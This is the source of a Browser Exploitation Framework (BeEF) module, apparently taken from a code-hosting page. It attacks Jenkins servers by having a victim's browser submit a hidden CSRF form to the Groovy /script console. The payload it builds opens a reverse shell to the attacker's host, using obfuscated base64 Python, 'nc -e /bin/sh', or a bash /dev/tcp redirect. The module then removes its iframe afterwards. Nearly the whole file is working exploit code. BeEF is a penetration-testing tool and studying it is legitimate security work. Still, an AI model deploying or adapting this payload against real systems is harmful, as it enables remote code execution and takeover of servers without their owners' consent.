Path: blob/master/modules/exploits/jenkins_groovy_code_exec/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {7var rproto = '<%= @rproto %>';8var rhost = '<%= @rhost %>';9var rport = '<%= @rport %>';10var targeturi = '<%= @uri %>';11var lhost = '<%= @lhost %>';12var lport = '<%= @lport %>';13var target = rproto + '://' + rhost + ':' + rport + targeturi + '/script';14var timeout = 15;15var payload_name = '<%= @payload %>';16var peer = rhost + ':' + rport;1718cleanup = function() {19try {20document.body.removeChild(jenkins_groovy_code_exec_iframe_<%= @command_id %>);21} catch(e) {22beef.debug("Could not remove iframe: " + e.message);23}24}25setTimeout("cleanup()", timeout*1000);2627payload = function() {28var whitespace = '';29for (var i=0; i<Math.floor(Math.random()*10)+3; i++) whitespace += ' ';30var payload = '';31switch (payload_name) {32case "reverse_python":33var cmd = "import socket,subprocess,os;host=\""+lhost+"\";port="+lport+";s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);"34cmd = cmd.replace(/,/g, whitespace+','+whitespace).replace(/;/g, whitespace+';'+whitespace)35var encoded_cmd = btoa(cmd);36payload = 'proc = [ "/usr/bin/python" , "-c" , "exec ( \''+encoded_cmd+'\'.decode ( \'base64\' ) )" ].execute()';37payload = payload.replace(/ /g, whitespace);38break;39case "reverse_netcat":40payload = 'proc = [ "/bin/nc" , "' + lhost + '" , "' + lport + '" , "-e" , "/bin/sh" ].execute()';41payload = payload.replace(/ /g, whitespace);42break;43default: // "reverse_bash"44payload = 'proc = [ "/bin/bash", "-c", "/bin/bash -i >& /dev/tcp/' + lhost + '/' + lport + ' 0>&1" ].execute()';45payload = payload.replace(/ /g, whitespace);46break;47}48return payload49}5051exploit = function() {52var groovy = payload();53beef.debug(peer + " - Sending payload (" + groovy.length + " bytes)");54var jenkins_groovy_code_exec_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "POST", "application/x-www-form-urlencoded",55[56{'type':'hidden', 'name':'script', 'value':groovy },57{'type':'hidden', 'name':'Submit', 'value':'Run' },58]);59beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");60}6162try {63exploit();64} catch(e) {65beef.debug(peer + " - Exploit failed: " + e.message);66}6768});697071